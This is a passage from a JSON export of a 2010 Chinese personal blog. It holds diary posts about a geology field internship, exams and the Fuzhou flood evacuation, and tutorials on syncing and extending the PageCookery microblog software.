href=\"http://madcn.com/mblog\"\u003e孙老四\u003c/a\u003e同学就慷慨的分享了他的添加文件。经过我自己的摸索，我终于也成功的添加上了富评论，特此分享出我的添加过程。大家不要看代码比较多，其实要修改的只有几行，我怕大家找不到才把前后不变的代码也弄上来了。如果是在不愿意看的，可以直接下载文末我已经修改好的程序就行～\u003c/p\u003e","time":3,"title":"为你的PageCookery添加富评论"},{"comments":{"data":[31],"errmsg":"","errno":0},"contents":"大家好，我又回来更新了，呵呵..好久没去大家那里转悠啦，莫见怪咯，大家晓得我最近好忙的是吧，嘿嘿\u0026hellip;\n话说哥哥终于从暑假那远无城市的实习中回来了，真的是野人进城啊，一回来就把银行卡的密码给忘记了，然后第二天去解锁 - +||工作虽然很简单，就是利于GPS和地形图到达指定点然后在指定点的误差范围内取水系沉积物，但是真的很累的说，虽然仅仅是工作半天。每天早上4：30就要起来啦，要趁着太阳还没起来多干点活哦～然后基本上要到中午12：00左右才能干完活，有时候要等到下午一两点呢，当然，等到四点钟的时候我们也是有的。每天就这么单调而且机械的过着，早上早早起来，吃点早饭（馒头和咸菜）然后去工作，中午回来吃个饭，洗个澡，洗个衣服然后就睡觉，醒了吃个晚饭聊个天就又要睡觉了（笑话！明天要早早的起来啊！）。总结来说就是我们当了廉价劳动力了，50元/天，除了食宿意外的纯工资。\n不得不提一下这个食宿问题，因为我们连续在四个区域工作了，这下可有的说了～～\n1)第一个食宿地开始还觉得有些小小的不满，但是对比四个之后，发现是最好的地方了。我们住在人家村的村委会里面，工作的地方都给我们住了，平均3人/间，有便携的竹床睡（什么？竹床哪里来？当然是老师买过来的了\u0026hellip;），住的那是没话说了，相当的舒服！用水也很方便，接了旁边一家人的水，从井里抽的哦，相当爽～然后是吃的，我们在村委会对面的一个酒家里面吃，饭菜质量都好好哇！还有，我好像再吃一次老板娘做的红烧肉啊！\n2)第二个食宿的地方我简直就不想说了，太他妈的恶心了，是在一个宾馆里面，住的差，吃的差，老板还特别的抠门！据老师说，在那里好像用了1万左右，宾馆最多投资也就是4000多元！（包括水电+饭菜等等，我们住了10天，25个人左右..）别的不说，就说他炒个泥鳅，结果整盘数下来你就只能见到4条泥鳅，然后就是数不清的辣椒！我了个去，以后打死我都不来这鬼地方！\n3)第三个食宿的地方也相当的不错，住的还行，就是住在4楼，每天爬上爬下很累啊，特别是工作后来的时候！稍微的问题就是时常断电！（话说我们这个大部队到哪里不是经常断电呢，呵呵..）,然后吃又是在隔壁一个酒家里面吃的，那个菜真的是超级的好吃啊！！！那才叫做厨师，那才不叫做暴殄天物啊！就打个比方吧，我们早上吃馒头稀饭配的腌菜人家也会加点肉然后炒一遍啊！！超级好吃啊\n4)第四个食宿的地方虽然没有第一个和第三个那么的好，但肯定也比第二个好了不知道N倍！我们这次是住在一个商务旅馆里面，平均4人/间，打地铺，我们的房间房顶好低，本人表示进去后灰常的压抑！而且基本上我站起来头就碰顶了= =||也是住在4楼，表示很不方便！然后吃也是在一个酒家吃的，不过这个酒家貌似主营应该是早餐的说= =||因为他们这儿早餐有泡粉吃，泡粉的小菜有炒肉和炒牛肉，所以基本上我们每天中午都能吃到这两个菜。因此给我的印象是这家店的牛肉好多多啊！然后就是他们这儿用来炒肉和牛肉的酱搞得很不错的说～\n再不得不提的是工作同伴，真的感觉出来工作就是跟在学校不一样，不管你做的多完美，总是会遭人说闲话。但是有些人做的真的很过分，成了我们项目组的众矢之的！比如说邓某，你妈的天天在路上说什么说啊，你的路线是比较难，大家也都很承认，但是你妈的你天天说吵不吵啊，又没有胆子跟老师说去，就知道天天在我们面前嚷嚷，算什么啊！你工作难度高难道我们的就轻松啦，郁闷！而且说话声音超大，有一次我们在离路边大概百来米的地方踩点，我好想听到刚开过去的那辆车上有邓某的声音，看了一下，果然是我们的车！汗颜啊！然后还有一个就是马某，特别的不讨我喜欢，成天的说他们北方怎么怎么好，他们临沂的煎饼怎么怎么的好，每餐支持馒头，然后每餐都要不自然的比较下南北方！艹！哥最讨厌这样不入乡随俗的人，特别是这种客居他乡还要成天跟你炫耀自己家乡怎么怎么的好的人！当然，项目组里面还是有好多我比较敬佩的人的！比如说齐哥，虽然那天他们拿了史上最多的任务，然后搞到下午3点多才出来，但是人家却是这样说的：“上头派你怎样的任务你就做什么，有说话的时间早就做完了！”这个是相当令我佩服的，比某个人好多了！然后还有好多好多啦，就不一一举例啦～\n后来由于我们25号要考试，我们商议着提前几天回来看书[ 暑假一点书都没有看啊！ ]，然后我们本来打算14号回来，结果被老师拖在那里再工作了一天，15号回来了。总共是工作了41天（休息日是带薪休息哦！），也就是净赚2050元，然后加上上个学期画图的钱，恩恩，想想3500应该有了吧，嘿嘿～然后就是暗无天日的看书复习啊！不得不提个插曲，就是学校因为上次救灾的事情（东华理工大学的学生宿舍给唱凯决堤的灾民避灾）准备给我们这些学生重新发放床上用品，然后好像还有120元的补助。（有总比没有好..= =）\n我们这次要考三门，英语、概率论、岩石学。英语前天考完的，感觉还好，比较简单，主要是因为完形和选词都是书本上的原题。概率论各种杯具集结一身..岩石学今天下午刚考完，一个考场的茶几啊，他们那些带了小抄的貌似一个都没抄到。话说，这次岩石学考的还真不是一般的难啊..当然，只是我这样觉得..可能我没有复习吧..哈哈！\n再通知一个事情，公子9月2号要去浙江江山实习了，这次是学校组织的实习不是工作哦！要去江山一个月，然后回来是一个月的填图时间。当然，言外之意是，很有可能大家要在个把月之后才能看到我更新了！= =|||（砸死你！）\n话说，看到大家都换主题了我也很想换主题了的说，但是各种杯具的不兼容啊！而且发现我的WP怎么这么的臃肿！！！！\n","count":2276,"date":"2010年08月28日","featuredImage":null,"permalink":"https://imnerd.org/come-backexamshixi.html","summary":"\u003cp\u003e大家好，我又回来更新了，呵呵..好久没去大家那里转悠啦，莫见怪咯，大家晓得我最近好忙的是吧，嘿嘿\u0026hellip;\u003c/p\u003e\n\u003cp\u003e话说哥哥终于从暑假那远无城市的实习中回来了，真的是野人进城啊，一回来就把银行卡的密码给忘记了，然后第二天去解锁 - +||工作虽然很简单，就是利于GPS和地形图到达指定点然后在指定点的误差范围内取水系沉积物，但是真的很累的说，虽然仅仅是工作半天。每天早上4：30就要起来啦，要趁着太阳还没起来多干点活哦～然后基本上要到中午12：00左右才能干完活，有时候要等到下午一两点呢，当然，等到四点钟的时候我们也是有的。每天就这么单调而且机械的过着，早上早早起来，吃点早饭（馒头和咸菜）然后去工作，中午回来吃个饭，洗个澡，洗个衣服然后就睡觉，醒了吃个晚饭聊个天就又要睡觉了（笑话！明天要早早的起来啊！）。总结来说就是我们当了廉价劳动力了，50元/天，除了食宿意外的纯工资。\u003c/p\u003e","time":5,"title":"群山归来+考试完毕+再一次实习"},{"comments":{"data":[22],"errmsg":"","errno":0},"contents":"从没想过今年生日会过得如此强大，三人一桌饭，仅此而已！不过我能证明，我很开心！ 这两天我的本子散热灰常的不好，老出现过热异常关机，尽早就拿出来刷了下灰。哇靠！那灰厚的啊，就跟面包片那么厚了，想想，买来两年都没擦过了，囧！感谢那俩小子陪我过生日。对了，还要感谢爸妈，感谢我俩小弟们～～谢谢你们的祝福；感谢中国移动每年坚定不移的给我发祝福短信，感谢腾讯扣扣的忠诚祝福，最后再感谢下某个女人～～最后，感谢国家感谢党。 最后一句，祝自己生日快乐！ ","count":217,"date":"2010年07月03日","featuredImage":null,"permalink":"https://imnerd.org/july-3-start-ben-2.html","summary":"\u003cdiv style=\"font-family:Microsoft Yahei, Microsoft Jhenghei;color:#333399;font-size:14px;text-indent:2em;\"\u003e从没想过今年生日会过得如此强大，三人一桌饭，仅此而已！不过我能证明，我很开心！\u003c/div\u003e\n\u003cdiv style=\"font-family:Microsoft Yahei, Microsoft Jhenghei;color:#333399;font-size:14px;text-indent:2em;\"\u003e这两天我的本子散热灰常的不好，老出现过热异常关机，尽早就拿出来刷了下灰。哇靠！那灰厚的啊，就跟面包片那么厚了，想想，买来两年都没擦过了，囧！感谢那俩小子陪我过生日。对了，还要感谢爸妈，感谢我俩小弟们～～谢谢你们的祝福；感谢中国移动每年坚定不移的给我发祝福短信，感谢腾讯扣扣的忠诚祝福，最后再感谢下某个女人～～最后，感谢国家感谢党。\u003c/div\u003e\n\u003cdiv style=\"font-family:Microsoft Yahei, Microsoft Jhenghei;color:#333399;font-size:14px;text-indent:2em;\"\u003e最后一句，祝自己生日快乐！\u003c/div\u003e","time":1,"title":"7月3日开始奔二"},{"comments":{"data":[6],"errmsg":"","errno":0},"contents":"同志们，看到标题会不会很震惊啊？上篇日志还回家呢，这篇日志就回校了，囧！呵呵，不过不好意思啊，不是4月1号，没有耍大家啦，真的是要回学校了！T_T我个悲剧啊，还是个连续剧！... 为啥要这么快就回去呢？这还得从上个学期说起，上个学期因为MapGIS课程的原因，MapGIS课程的老师让帮忙给院长的一个项目清绘一些图，然后院长有答应我们带我们出野外实习，然后这难得的机会终于来了\u0026hellip;本来是在学校等院长通知的，但是某人(可恶的某人)跟我传达命令的时候是这样说的：“院长说先让我们回家呆着吧.”然后我就说都回家了，哪里还会去啊，而且由于学校给灾民用了，食堂的伙食相当的不好（对我来说），于是我就先回家去了。结果我在火车站跟某人（同上）聊天的时候，他就爆出矛盾点了：“过两天就要出野外了！你回什么家啊！是让你原地待命，不是让你回家待命！” 我当时就囧到了，但是没办法啊，都到火车站了，就先回来了。\n今天早上院长带的某研究生（貌似是毕业生）打电话来通知我们过两天就去了，然后潜台词是让我们趁早到学校来。恩，所以，结果呢，我回家来三天就要匆忙被回校了\u0026hellip;\n","count":480,"date":"2010年06月30日","featuredImage":null,"permalink":"https://imnerd.org/just-few-days-go-back-home.html","summary":"\u003cdiv style=\"text-indent: 2em; font-size: 14px; font-family: Microsoft Yahei, Microsoft Jhenghei; color: #333399;\"\u003e同志们，看到标题会不会很震惊啊？上篇日志还回家呢，这篇日志就回校了，囧！呵呵，不过不好意思啊，不是4月1号，没有耍大家啦，真的是要回学校了！T_T我个悲剧啊，还是个连续剧！...\u003c/div\u003e\n\u003cdiv style=\"text-indent: 2em; font-size: 14px; font-family: Microsoft Yahei, Microsoft Jhenghei; color: #333399;\"\u003e\n\u003cp\u003e为啥要这么快就回去呢？这还得从上个学期说起，上个学期因为MapGIS课程的原因，MapGIS课程的老师让帮忙给院长的一个项目清绘一些图，然后院长有答应我们带我们出野外实习，然后这难得的机会终于来了\u0026hellip;本来是在学校等院长通知的，但是某人(可恶的某人)跟我传达命令的时候是这样说的：“院长说先让我们回家呆着吧.”然后我就说都回家了，哪里还会去啊，而且由于学校给灾民用了，食堂的伙食相当的不好（对我来说），于是我就先回家去了。结果我在火车站跟某人（同上）聊天的时候，他就爆出矛盾点了：“过两天就要出野外了！你回什么家啊！是让你原地待命，不是让你回家待命！” 我当时就囧到了，但是没办法啊，都到火车站了，就先回来了。\u003c/p\u003e","time":1,"title":"回家三两天匆忙被回校"},{"comments":{"data":[16],"errmsg":"","errno":0},"contents":"嘿嘿，同志们啊，我回来了，大家都还记得我波？\r那啥，看题目大家都应该明白了吧，喂喂喂，那群不看新闻的可以忽略了。抚州市面临近些年来特大洪涝灾害，抚州市罗针镇全淹，唱凯镇也淹的差不多了。详细的我就不多说了，大家搜一下新闻都是！志言还跟我说今天央视播了一天的抚州呢！虽然说抚州出名我很高兴，但是这样的出名法子还是能免则免吧。\r本来就遇上涝灾，这老天也是火上浇油，连着下雨，还都是暴雨，每天天气预报基本都是：今日天气，小于转中雨，中雨转暴雨，大到暴雨转暴雨！我了个神诶！本来想截张谷歌地球的卫星图给大家讲解下涝灾具体位置和情况等详情的，还是算了，那样写起来又是长篇大论了。\r然后说说我为什么提前放假吧。恩，昨天上午我在工作室看书，下个礼拜不是就要考岩石学了么，要好好看啊！然后寝室的同学一个电话打来，说开班会，我所班会能干什么，就什么也没拿屁颠屁颠的跑过去了。过去了才知道东华理工大学为了配合此次救灾工作，现抚州校区的所有寝室都要清空，腾出来用以安置灾民。具体清空情况如下：\r本部1-3栋宿舍楼于当天下午1：30（也就是昨天下午）之前必须清空，本部8栋宿舍楼于当天中午12点之前必须清空，本部其他宿舍楼不知。南区第二天（也就是今天）中午之前要清空，北区清空时间同本部一样。\r我们就这样愕然的冲回寝室收拾东西了，还好我有在学校租房子，寝室里根本没我什么东西，我去寝室看看他们有什么不能拿的东西要不要放我租的房子那里的。然后我一个人怡然自得的坐在那里看着他们慌乱的收拾东西，结果就是越收越乱...我们8栋还要先让06届的毕业生住两天然后再给灾民住，因为06届的毕业生正值毕业，他们要等到拿了毕业证才能离校（也就两天的事情）。\r然后来说说交通情况，交通那个乱的啊，就说抚州到南昌的那个车子吧，之前都是25的，今天就涨到35了，然后没过一会儿又听到说是36了，结果同学去买的时候是40了，真会趁火打劫。话说今天去接我弟回来（他们学校在云山，离唱凯不远，不过影响不大，但学校还是遣散学生），不得不说今天的交通真是他妈太不方便了，还好有专车要不真的接不了人了！唉，算了，我还是把谷歌地图给请过来吧：\r本来按照正常情况下应该是沿着ABC这条线到我弟学校的，结果你们也知道哦啊，由于B点唱凯镇基本被淹的差不多了，316国道也不能通行了，所以只能改成图2的ABC路线了，先走银福高速（这条高速由于建的比较高没有被淹掉，也正是由于这条高速路没有事故，后方的补给才能源源不断）然后再B点的温圳下高速绕回316国道，也就是走到316国道的后头去了，可想而知花了多少时间。而且更要命的是，本来是打算原路返回的，但是回去的是偶发现银福高速貌似由于抢险防涝的需要给禁止通行了！我们没办法只好走G320国道，然后再走S213省道才绕道回了抚州。结果就是绕着唱凯给转了一大圈啊！\r在话说就在我风风火火去接我弟的时候，温家宝同志居然莅临我校了！搞得大家相当的兴奋啊。\r我觉得吧，学校主动积极的加入到抗洪抢险工作中去是不错的（我们学校主动要求要安置灾民，市政府还说不敢劳烦你这个大学，放在中学就行了！），但是也不能让我们学生慌慌张张的配合啊，上午10点左右的通知，中午12点就必须全部“滚蛋”，这让人怎么来得及！然后我们期末考试还剩下岩石学/概率论/大英四，还有两篇论文，一篇课程设计没做，结果都不搞了，等开学来了再说。我的神，这再过两个月，我还能记住多少东西啊，考试很严峻啊！这里我并不是说救灾不好，只是我个人认为，政策应当早点发下来，这样我们才有准备啊！\r","count":1448,"date":"2010年06月24日","featuredImage":null,"permalink":"https://imnerd.org/caused-devastating-floods-in-advance-to-be-a-holiday.html","summary":"\u003cdiv style=\"font-size:14px;color:#333399;font-family:Microsoft Yahei, Microsoft Jhenghei;text-indent:2em;\"\u003e嘿嘿，同志们啊，我回来了，大家都还记得我波？\u003c/div\u003e\r\n\u003cbr /\u003e\r\n\u003cdiv style=\"font-size:14px;color:#333399;font-family:Microsoft Yahei, Microsoft Jhenghei;text-indent:2em;\"\u003e那啥，看题目大家都应该明白了吧，喂喂喂，那群不看新闻的可以忽略了。抚州市面临近些年来特大洪涝灾害，抚州市罗针镇全淹，唱凯镇也淹的差不多了。详细的我就不多说了，大家搜一下新闻都是！志言还跟我说今天央视播了一天的抚州呢！虽然说抚州出名我很高兴，但是这样的出名法子还是能免则免吧。\u003c/div\u003e\r\n\u003cbr /\u003e\r\n\u003cdiv style=\"font-size:14px;color:#333399;font-family:Microsoft Yahei, Microsoft Jhenghei;text-indent:2em;\"\u003e本来就遇上涝灾，这老天也是火上浇油，连着下雨，还都是暴雨，每天天气预报基本都是：今日天气，小于转中雨，中雨转暴雨，大到暴雨转暴雨！我了个神诶！本来想截张谷歌地球的卫星图给大家讲解下涝灾具体位置和情况等详情的，还是算了，那样写起来又是长篇大论了。\u003c/div\u003e\r\n\u003cbr /\u003e\r\n\u003cdiv style=\"font-size:14px;color:#333399;font-family:Microsoft Yahei, Microsoft Jhenghei;text-indent:2em;\"\u003e然后说说我为什么提前放假吧。恩，昨天上午我在工作室看书，下个礼拜不是就要考岩石学了么，要好好看啊！然后寝室的同学一个电话打来，说开班会，我所班会能干什么，就什么也没拿屁颠屁颠的跑过去了。过去了才知道东华理工大学为了配合此次救灾工作，现抚州校区的所有寝室都要清空，腾出来用以安置灾民。具体清空情况如下：\u003c/div\u003e\r\n\u003cbr /\u003e\r\n\u003cdiv style=\"font-size:14px;color:#333399;font-family:Microsoft Yahei, Microsoft Jhenghei;text-indent:2em;\"\u003e本部1-3栋宿舍楼于当天下午1：30（也就是昨天下午）之前必须清空，本部8栋宿舍楼于当天中午12点之前必须清空，本部其他宿舍楼不知。南区第二天（也就是今天）中午之前要清空，北区清空时间同本部一样。\u003c/div\u003e\r\n\u003cbr /\u003e\r\n\u003cdiv style=\"font-size:14px;color:#333399;font-family:Microsoft Yahei, Microsoft Jhenghei;text-indent:2em;\"\u003e我们就这样愕然的冲回寝室收拾东西了，还好我有在学校租房子，寝室里根本没我什么东西，我去寝室看看他们有什么不能拿的东西要不要放我租的房子那里的。然后我一个人怡然自得的坐在那里看着他们慌乱的收拾东西，结果就是越收越乱...我们8栋还要先让06届的毕业生住两天然后再给灾民住，因为06届的毕业生正值毕业，他们要等到拿了毕业证才能离校（也就两天的事情）。\u003c/div\u003e\r\n\u003cbr /\u003e\r\n\u003cdiv style=\"font-size:14px;color:#333399;font-family:Microsoft Yahei, Microsoft Jhenghei;text-indent:2em;\"\u003e然后来说说交通情况，交通那个乱的啊，就说抚州到南昌的那个车子吧，之前都是25的，今天就涨到35了，然后没过一会儿又听到说是36了，结果同学去买的时候是40了，真会趁火打劫。话说今天去接我弟回来（他们学校在云山，离唱凯不远，不过影响不大，但学校还是遣散学生），不得不说今天的交通真是他妈太不方便了，还好有专车要不真的接不了人了！唉，算了，我还是把谷歌地图给请过来吧：\u003c/div\u003e\r\n\u003cbr /\u003e\r\n\u003cdiv style=\"font-size:14px;color:#333399;font-family:Microsoft Yahei, Microsoft Jhenghei;text-indent:2em;\"\u003e本来按照正常情况下应该是沿着ABC这条线到我弟学校的，结果你们也知道哦啊，由于B点唱凯镇基本被淹的差不多了，316国道也不能通行了，所以只能改成图2的ABC路线了，先走银福高速（这条高速由于建的比较高没有被淹掉，也正是由于这条高速路没有事故，后方的补给才能源源不断）然后再B点的温圳下高速绕回316国道，也就是走到316国道的后头去了，可想而知花了多少时间。而且更要命的是，本来是打算原路返回的，但是回去的是偶发现银福高速貌似由于抢险防涝的需要给禁止通行了！我们没办法只好走G320国道，然后再走S213省道才绕道回了抚州。结果就是绕着唱凯给转了一大圈啊！\u003c/div\u003e\r\n\u003cimg src=\"http://myth.im/images/2r\" alt=\"\" /\u003e\r\n\u003cbr /\u003e\r\n\u003cimg src=\"http://myth.im/images/2s\" alt=\"\" /\u003e\r\n\u003cbr /\u003e\r\n\u003cdiv style=\"font-size:14px;color:#333399;font-family:Microsoft Yahei, Microsoft Jhenghei;text-indent:2em;\"\u003e在话说就在我风风火火去接我弟的时候，温家宝同志居然莅临我校了！搞得大家相当的兴奋啊。\u003c/div\u003e\r\n\u003cbr /\u003e\r\n\u003cdiv style=\"font-size:14px;color:#333399;font-family:Microsoft Yahei, Microsoft Jhenghei;text-indent:2em;\"\u003e我觉得吧，学校主动积极的加入到抗洪抢险工作中去是不错的（我们学校主动要求要安置灾民，市政府还说不敢劳烦你这个大学，放在中学就行了！），但是也不能让我们学生慌慌张张的配合啊，上午10点左右的通知，中午12点就必须全部“滚蛋”，这让人怎么来得及！然后我们期末考试还剩下岩石学/概率论/大英四，还有两篇论文，一篇课程设计没做，结果都不搞了，等开学来了再说。我的神，这再过两个月，我还能记住多少东西啊，考试很严峻啊！这里我并不是说救灾不好，只是我个人认为，政策应当早点发下来，这样我们才有准备啊！\u003c/div\u003e","time":3,"title":"特大水灾导致提前被放假"},{"comments":{"data":[52],"errmsg":"","errno":0},"contents":" 同志们啊，我终于回来跟大家水来了T_T不要怪我无情的写了那么多非水文啊，今天一篇清水文跟大家补补啊…… 话说今天真的是很杯具很杯具啊……早上一节体育课，我们学的网球么，室外的场子，本来这几天狂风暴雨的下啊，根本就没天晴的时候，我两天前就在那里暗自庆幸，说这个星期的体育课又不用上了，结果老天杯具的早上就给停雨了。虽然停雨了，但是我们侥幸以为地不会干的……结果北风那个吹啊……小雨那个停啊……场地那个干啊……杯具的拿着拍子去上课去了...下午我们院篮球赛半决赛，我们专业打地信专业，小赢5分，进入总决赛……重点不是这个，重点是比赛一完，还不等我们离开球场，就又开始下雨了……T_T艹蛋的老天爷，专门跟我作对！ 恩，说道这个地信，咱要给大家讲个冷笑话了，应该是两个星期前的了……在推上看到过的孩子莫打我啊…… 我们学院有个地球信息系统专业，简称地信，然后我们院打院篮球赛，我同学就跟我聊着。“我们进四强了诶！”我说：“是呀，昨天知道的，下一个是跟电信打是吧？”然后我同学就很无奈的跟我说是地信……不是电信……我囧啊囧！ 然后上个礼拜的星期六，把我们给累的啊……本来一个好好的周末，全被实验课给占了，上午MapGiS的实验，老师估计上起激情来了，居然跟我们说下午7-8节接着上，说是补原来落下的课。然后下午1-2节的古生物实验，结果是晚上更加杯具的矿相实验四连上，搞得我们是身心俱疲啊……星期天早上我是睡到11点才起来……下午杯具的还有选修课。结果浑浑噩噩的一个周末就这样完了。 然后这个周三要交水文作业，水文老师那个变态啊……一个专业选修课，至于出那么难的题目给我们么，诚心想整死我们啊！而且这门课要考试，据说挂科率极高，不亚于高数和英语！我淡定不起来了。然后这周有概率论的期中考试，我都囧了，这个学期居然搞个期中考试给我们，郁闷啊！概率老师讲课又快，但是进度又不快，因为要讲好多废话，主要是数学建模的事情～唉～ 最后似乎马上又要体能测试了，我对我的1000米实在是没有信心啊，这个学期还没去跑过呢……= = PS:我怎么感觉这篇水文有点交代遗言的感觉？那么多的然后……== ","count":877,"date":"2010年04月12日","featuredImage":null,"permalink":"https://imnerd.org/a-painful-week.html","summary":"\u003cdiv style=\"text-indent:2em;font-size:14px;font-family:Microsoft Yahei,Microsoft Jhenghei;color:#333399;\"\u003e\n同志们啊，我终于回来跟大家水来了T_T不要怪我无情的写了那么多非水文啊，今天一篇清水文跟大家补补啊……\n\u003cdiv style=\"text-indent:2em;font-size:14px;font-family:Microsoft Yahei,Microsoft Jhenghei;color:#333399;\"\u003e话说今天真的是很杯具很杯具啊……早上一节体育课，我们学的网球么，室外的场子，本来这几天狂风暴雨的下啊，根本就没天晴的时候，我两天前就在那里暗自庆幸，说这个星期的体育课又不用上了，结果老天杯具的早上就给停雨了。虽然停雨了，但是我们侥幸以为地不会干的……结果北风那个吹啊……小雨那个停啊……场地那个干啊……杯具的拿着拍子去上课去了...下午我们院篮球赛半决赛，我们专业打地信专业，小赢5分，进入总决赛……重点不是这个，重点是比赛一完，还不等我们离开球场，就又开始下雨了……T_T艹蛋的老天爷，专门跟我作对！\n\u003cdiv style=\"text-indent:2em;font-size:14px;font-family:Microsoft Yahei,Microsoft Jhenghei;color:#333399;\"\u003e恩，说道这个地信，咱要给大家讲个冷笑话了，应该是两个星期前的了……在推上看到过的孩子莫打我啊……\n\u003ccode\u003e\u003cdiv style=\"text-indent:2em;font-size:14px;font-family:Microsoft Yahei,Microsoft Jhenghei;color:#333399;\"\u003e我们学院有个地球信息系统专业，简称地信，然后我们院打院篮球赛，我同学就跟我聊着。“我们进四强了诶！”我说：“是呀，昨天知道的，下一个是跟电信打是吧？”然后我同学就很无奈的跟我说是地信……不是电信……我囧啊囧！\u003c/div\u003e\u003c/code\u003e\n\u003cdiv style=\"text-indent:2em;font-size:14px;font-family:Microsoft Yahei,Microsoft Jhenghei;color:#333399;\"\u003e然后上个礼拜的星期六，把我们给累的啊……本来一个好好的周末，全被实验课给占了，上午MapGiS的实验，老师估计上起激情来了，居然跟我们说下午7-8节接着上，说是补原来落下的课。然后下午1-2节的古生物实验，结果是晚上更加杯具的矿相实验四连上，搞得我们是身心俱疲啊……星期天早上我是睡到11点才起来……下午杯具的还有选修课。结果浑浑噩噩的一个周末就这样完了。\n\u003cdiv style=\"text-indent:2em;font-size:14px;font-family:Microsoft Yahei,Microsoft Jhenghei;color:#333399;\"\u003e然后这个周三要交水文作业，水文老师那个变态啊……一个专业选修课，至于出那么难的题目给我们么，诚心想整死我们啊！而且这门课要考试，据说挂科率极高，不亚于高数和英语！我淡定不起来了。然后这周有概率论的期中考试，我都囧了，这个学期居然搞个期中考试给我们，郁闷啊！概率老师讲课又快，但是进度又不快，因为要讲好多废话，主要是数学建模的事情～唉～\n\u003cdiv style=\"text-indent:2em;font-size:14px;font-family:Microsoft Yahei,Microsoft Jhenghei;color:#333399;\"\u003e最后似乎马上又要体能测试了，我对我的1000米实在是没有信心啊，这个学期还没去跑过呢……= =\n\u003cdiv style=\"text-indent:2em;font-size:14px;font-family:Microsoft Yahei,Microsoft Jhenghei;color:#333399;\"\u003ePS:我怎么感觉这篇水文有点交代遗言的感觉？那么多的然后……==\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e","time":2,"title":"痛苦的一周"},{"comments":{"data":[32],"errmsg":"","errno":0},"contents":"\r随着微博的热门，已经有很多的微博程序纷纷出现了，而我们该如何挑选这些微博程序呢？首先我们要考虑的是选择单用户还是多用户的。但是如果像我这种注重功能的人，可能第一个想到的是它的同步功能如何？今天就介绍一种方法，为你的PageCookery的同步功能做拓展。\n这里主要是利用了月光博客制作的GAE同步程序制作的一个针对PageCookery的简易教程。总所周知，Twitter现如今是微博界的老大，虽然被G.F.W了，但是仍然不能阻挡它的光芒！我们可以利用Twitter这个跳板，将其他地方的消息同步到Twitter中，同时也可以利用Twitter的多方式发布消息将自己的消息发布到Twitter中，然后将Twitter的消息同步到别的地方去！而月光的这个GAE程序就能够实现将Twitter的信息分发到各大微博网站去，包括新浪微博/嘀咕/网易微博/9911/51follow等等微博门户。而PageCookery微博程序又提供了对嘀咕的双向同步，而且也提供了RSS导入这么一个极佳的功能。\n有人可能会说了，为什么我不直接用Twitter的RSS导入到PageCookery来呢？这是因为直接导入RSS的话，会有很多的RSS垃圾产生，比如你@别人的消息，以及RT别人的消息也都会同步过来，这个还算是小事，重要的是Twitter的RSS格式包括了用户名，所以每次导入Twitter的消息时都会带上\u0026quot;username:\u0026ldquo;这样的前缀，让人看起来甚是不爽，所以我们要对RSS进行过滤！而月光博客的GAE同步程序也正是做到了这一点。在此，要感谢月光博客为我们带来了这么好的一个工具。而且，利用GAE的高效工作性，我们基本能够实时的同步我们的消息到PageCookery中（我说的是几乎）……\n好了，优点讲完了就改说怎么捣鼓了，首先呢，你要有申请一个GAE，如果有，则可跳过此不，如果没有，请参照如何申请GAE\n申请好GAE并成功建立一个项目之后，我们要做的就是将月光博客的GAE程序给下载下来，下载方法，使用TortoiseSVN检出这个SVN地址，然后，编辑 app.yaml，修改为自己的appspot应用名，接着，修改twitter.py文件的最后一行，将自己的Twitter用户名填入，修改从 ret = send_sina_msgs(\u0026ldquo;username\u0026rdquo;,\u0026ldquo;password\u0026rdquo;,text) 语句开始的 username 和 password ，将相应微博客的用户名和密码分别填入，不需要同步的服务请使用#号注释掉，cron.yaml文件里是计划任务设置。至于如何使用TortoiseSVN下载，请参考：教你如何用SVN下载源码\n千万不要忘记，记得修改最后一样你要同步的Twitter帐号！编辑保存后，我们就可以把程序上传到GAE主机上去了，至于如何上传么，请参考：如何上传文件到GAE\r好了，前半部分工作就做好了，下面我们就要做另外一部分工作了，现在假设你将Twitter上的信息同步到了嘀咕，由于PageCookery的嘀咕同步有个限制，就是嘀咕没有认证的API（也就是嘀咕页面消息显示是来自API）的消息PageCookery是不会同步过来的，所以我们只能通过RSS导入的法子，获取嘀咕微博的RSS地址，然后导入过来就可以了。（不能使用RSS导入功能的童鞋表示灰常抱歉了。）有人说了，如果我填写的是新浪微博的帐号怎么办？恩，我们知道新浪微博还没有开放RSS功能，不过这个也不要紧，https://imnerd.org/sinarss.php+\u0026ldquo;你的ID号\u0026quot;就是你的RSS地址了，这里要再次感谢月光博客提供的程序，有需要的也可以去他博客下载哦～～\n其实个人认为吧，我们应该能从月光的GAE程序中直接获取到RSS地址的，那么就可以直接导入进PageCookery了，而不用使用其他微博做跳板了，只是python实在不是很了解，就没心思看他的代码了，希望有心人能够发现啊，呵呵～～最后就讲讲这个同步的时间问题，从Twitter同步到嘀咕等微博网站的时间是可以设置的，最短可以是1分钟（修改地方在cron.yaml文件最后一行的every * minutes，将*换成同步间隔时间即可），基本上可以做到实时同步，然后是嘀咕等RSS同步到PageCookery，经过我的初步观察，最迟15min~20min应该会同步过来的，如果没有同步过来的话我就告诉你一句：反正迟早的事，何必这么焦急呢，呵呵！\n最后要提醒大家一句，请注意不要开启对某个微博的双向同步，一面发生消息同步死循环的状况……到时候估计删消息会删的你手软的！哈哈！\n","count":1853,"date":"2010年04月08日","featuredImage":null,"permalink":"https://imnerd.org/sync-all-in-pagecookery.html","summary":"\u003cdiv style=\"font-size: 14px; font-family: microsoft yahei, microsoft jhenghei; color: #333399; text-indent: 2em;\"\u003e\r\n\u003cp\u003e随着微博的热门，已经有很多的微博程序纷纷出现了，而我们该如何挑选这些微博程序呢？首先我们要考虑的是选择单用户还是多用户的。但是如果像我这种注重功能的人，可能第一个想到的是它的同步功能如何？今天就介绍一种方法，为你的PageCookery的同步功能做拓展。\u003c/p\u003e","time":4,"title":"终极同步大法"},{"comments":{"data":[26],"errmsg":"","errno":0},"contents":"\r大家都知道，现在的PageCookery的注册功能还很闭塞，只能够管理员通过后台添加用户，而不能够让用户自主添加，今天我给出更改方法，能够让其他人自己添加用户！ 先我放上一个预览地址吧，我就拿我的似水流年开刀了，呵呵，预览地址：http://lizheming.cn/?act=login 首先我们要在template文件夹下新建一个模板，重命名为\u0026quot;register.html\u0026quot;/名字可随意/然后将如下内容添加到里面去：\n{template header} \u0026lt;div id=\u0026#34;main\u0026#34; class=\u0026#34;prefix_edit\u0026#34;\u0026gt; \u0026lt;h2 